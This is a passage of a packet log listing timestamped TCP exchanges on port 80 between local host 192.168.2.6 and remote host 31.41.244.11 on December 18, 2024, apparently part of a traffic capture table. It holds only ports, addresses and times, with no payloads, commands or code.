Dec 18, 2024 11:47:16.158884048 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.158896923 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.158931017 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.158945084 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.160007000 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.160161018 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.160223961 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.161204100 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.161458969 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.161520958 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.162383080 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.162409067 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.162458897 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.163511992 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.163523912 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.163558006 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.163613081 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.164721012 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.164791107 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.165250063 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.165476084 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.165838003 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.165905952 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.166019917 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.166462898 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.167030096 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.167071104 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.167239904 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.167287111 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.168195963 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.168243885 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.168942928 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.169051886 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.169373035 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.169428110 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.169651031 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.170219898 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.170572042 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.170583963 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.170620918 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.170639992 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.171794891 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.171876907 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.171931028 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.172884941 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.172979116 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.173024893 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.174053907 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.174202919 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.174206972 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.174251080 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.175236940 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.175291061 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.175359964 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.175410986 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.176486015 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.176541090 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.177002907 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.177048922 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.177619934 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.177680969 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.178066969 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.178173065 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.178759098 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.178771019 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.178807020 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.179917097 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.179991007 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.180588007 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.181097031 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.181142092 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.181461096 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.182208061 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.182251930 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.183120966 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.183177948 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.183435917 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.184221029 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.184309006 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.184623003 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.184633017 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.184695005 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.185750008 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.185810089 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.186093092 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.186146975 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.186919928 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.186964035 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.187019110 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.187063932 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.188136101 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.188189030 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.188949108 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.189002037 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.189302921 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.189313889 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.189356089 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.190531969 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.190696955 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.190726995 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.190738916 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.191598892 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.191785097 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.191833019 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.192785025 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.193267107 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.193324089 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.193944931 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.193993092 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.195189953 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.195202112 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.195209980 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.195241928 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.195281029 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.196299076 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.196346998 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.196635008 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.196705103 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.197540998 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.197554111 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.197603941 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.198642015 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.198693037 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.198697090 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.198807001 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.199811935 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.199857950 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.199990988 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.200037003 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.201528072 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.201580048 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.201630116 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.202310085 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.202661037 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.202709913 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.203710079 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.203758955 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.204039097 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.204087019 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.333645105 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.333803892 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.334165096 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.334192038 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.334209919 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.334234953 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.334274054 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.334275007 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.335434914 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.335549116 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.335630894 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.335670948 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.336441040 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.336488008 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.336853027 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.336906910 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.336911917 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.336946964 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.338027954 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.338078022 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.338156939 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.338207006 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.339184046 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.339246988 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.340034008 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.340100050 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.340434074 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.340481997 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.340760946 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.340806007 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.341865063 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.341912031 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.342241049 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.342293024 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.342715025 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.342770100 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.343580961 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.343627930 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.343887091 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.344002008 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.345081091 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.345093966 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.345104933 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.345129013 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.345139980 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.346225023 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.346286058 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.346518040 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.346561909 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.347486973 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.347537994 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.347888947 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.347935915 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.348788023 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.348870993 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.348897934 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.348941088 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.349737883 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.349795103 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.349824905 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.349869967 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.350914001 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.350961924 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.351082087 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.351147890 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.352427959 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.352479935 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.352648020 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.352694035 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.353636980 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.353688002 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.353940964 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.354013920 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.354541063 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.354552984 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.354589939 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.355604887 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.355654955 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.356162071 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.356228113 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.356770992 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.356815100 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.357724905 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.357784033 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.358026028 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.358038902 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.358077049 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.359220028 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.359268904 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.359419107 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.359463930 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.360289097 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.360402107 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.360976934 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.361078978 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.361464024 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.361485958 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.361524105 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.362622976 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.362670898 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.362754107 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.362814903 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.363807917 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.363863945 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.363912106 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.363962889 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.365030050 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.365118027 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.365323067 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.365375042 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.366940975 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.366995096 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.367018938 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.367239952 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.367795944 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.367816925 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.367849112 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.367885113 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.368624926 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.368686914 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.368716955 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.368757010 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.369637012 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.369690895 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.369864941 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.369911909 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.370790958 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.370841980 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.371720076 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.371781111 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.372095108 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.372175932 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.372263908 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.372324944 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.373167992 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.373222113 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.373713017 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.373759031 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.374305964 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.374353886 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.375505924 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.375518084 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.375529051 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.375566006 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.375591993 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.376682997 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.376743078 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.376876116 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.376935959 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.377840996 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.377890110 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.378081083 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.378202915 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.378998995 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.379048109 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.379061937 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.379108906 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.380192995 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.380254030 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.380255938 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.380287886 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.381377935 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.381453991 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.381470919 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.381493092 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.382540941 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.382594109 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.382895947 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.382953882 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.383707047 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.383761883 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.383974075 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.384026051 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.384852886 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.384980917 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.384991884 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.385035038 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.386029005 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.386120081 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.386255026 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.386307001 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.387208939 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.387254953 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.387284040 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.387331009 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.388346910 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.388395071 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.388483047 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.388537884 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.389558077 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.389604092 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.389709949 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.389764071 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.390743971 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.390800953 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.391421080 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.391469002 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.391915083 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.391978979 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.392049074 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.392190933 CET	49806	80	192.168.2.6	31.41.244.11
